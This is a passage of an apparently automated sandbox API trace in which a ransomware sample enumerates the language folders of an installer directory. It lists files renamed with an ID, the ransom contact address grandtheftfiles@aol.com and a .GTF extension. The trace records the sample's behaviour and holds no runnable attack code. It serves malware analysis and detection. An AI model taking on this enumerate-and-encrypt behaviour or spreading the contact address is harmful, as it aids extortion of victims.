	[0153.136] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4d3d89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140858
	[0153.137] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4d3d89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.137] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4615a3, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4615a3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4ada3d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.137] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4877ba, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4877ba, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.138] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa010be4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa010be4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0216cc9, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.138] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa010be4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa010be4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0216cc9, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.138] FindClose (in: hFindFile=0x4140858 | out: hFindFile=0x4140858) returned 1
	[0153.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.138] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f547c30, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f547c30, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1046", cAlternateFileName="")) returned 1
	[0153.138] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.139] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f547c30, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f547c30, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140258
	[0153.139] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f547c30, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f547c30, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.139] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4ada3d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4ada3d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f5200f5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.139] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4f9fad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4f9fad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f5200f5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.140] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa017e332, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa017e332, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0450b53, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.140] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa017e332, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa017e332, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0450b53, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.140] FindClose (in: hFindFile=0x4140258 | out: hFindFile=0x4140258) returned 1
	[0153.140] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.140] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f651472, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f651472, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1049", cAlternateFileName="")) returned 1
	[0153.140] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.141] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f651472, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f651472, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x41400d8
	[0153.141] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f651472, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f651472, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.141] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f547c30, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f547c30, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f56c5c1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.141] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f56c5c1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f56c5c1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f62b0f7, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.142] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0216cc9, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.142] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0216cc9, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.142] FindClose (in: hFindFile=0x41400d8 | out: hFindFile=0x41400d8) returned 1
	[0153.142] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.142] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f69d8ad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1053", cAlternateFileName="")) returned 1
	[0153.142] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.143] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f69d8ad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140298
	[0153.210] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f69d8ad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.210] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f651472, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f651472, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f6775cc, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.210] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f6775cc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f6775cc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.210] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0216cc9, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0216cc9, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa023d020, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.210] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0216cc9, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0216cc9, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa023d020, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.211] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0153.211] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.211] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fc6d477, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1055", cAlternateFileName="")) returned 1
	[0153.211] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.211] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fc6d477, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x41401d8
	[0153.213] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fc6d477, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.213] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fa0af4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fa0af4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc472a2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.213] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.213] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa023d020, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa023d020, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa02869a4, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.213] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa023d020, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa023d020, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa02869a4, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.213] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0153.214] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.214] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="2052", cAlternateFileName="")) returned 1
	[0153.214] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.214] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140458
	[0153.216] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.216] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc935d1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.216] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc472a2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc472a2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.216] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0265b40, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0265b40, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa03de47c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.216] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0265b40, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0265b40, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa03de47c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.216] FindClose (in: hFindFile=0x4140458 | out: hFindFile=0x4140458) returned 1
	[0153.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
